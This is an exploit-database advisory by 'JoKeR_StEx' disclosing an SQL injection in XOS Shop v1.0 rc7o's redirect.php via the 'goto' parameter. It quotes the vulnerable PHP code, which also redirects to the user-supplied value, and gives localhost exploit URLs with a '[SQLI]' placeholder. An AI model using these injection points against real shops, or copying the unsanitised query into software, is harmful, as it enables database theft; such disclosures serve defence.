XOS Shop 1.0 rc7o (redirect.php, goto param) - SQL Injection Vulnerability

################################################################################
# Exploit Title: XOS Shop_v1.0_rc7o Sql Injection Vulnerability
# Date: 23/01/2014
# Exploit Author: JoKeR_StEx
# Vendor Homepage: http://www.xos-shop.com/
# Software Link: http://xos-shop.com/main/index.php/cPath/25/
# Version: v1.0 rc7o
# Tested on: Windows PHP Version 6.0.0-dev
# CVE : [~]
##################################################################################
 
[-] Description :
 
 XOS Shop is affected by Sql Injection Vulnerability
 The Attacker Can inject some MYSQl and exploit it(get content of db)
  
[+] VUlnerability :
 
Affected File ==> redirect.php
Line 47;53
 
<?
 
switch($_GET['action']){
47: case 'url':
48:   if (isset($_GET['goto']) && xos_not_null($_GET['goto'])) {
49:     $check_query = xos_db_query("select products_url from " . TABLE_PRODUCTS_DESCRIPTION . " where products_url = '" . xos_db_input($_GET['goto']) . "' limit 1");
50:        if (xos_db_num_rows($check_query)) {
51:          xos_redirect('http://' . $_GET['goto'])
52:   break;
53: }
?>
 [-]Exploit
 
    http://127.0.0.1/Xoshop/shop/redirect.php?action=url&goto='
http://127.0.0.1/Xoshop/shop/redirect.php?action=url&goto=[SQLI]
 
###################################################################################
# Gr33ting's  : Asesino04 , Shield Dz , Drr.0ryx & All My Friedns
###################################################################################
eamil : [email protected]
Facebook : fb.me/imadlilong.lasvegas
Twitter : @JoKeR_StEx

#  0day.today [2018-02-06]  #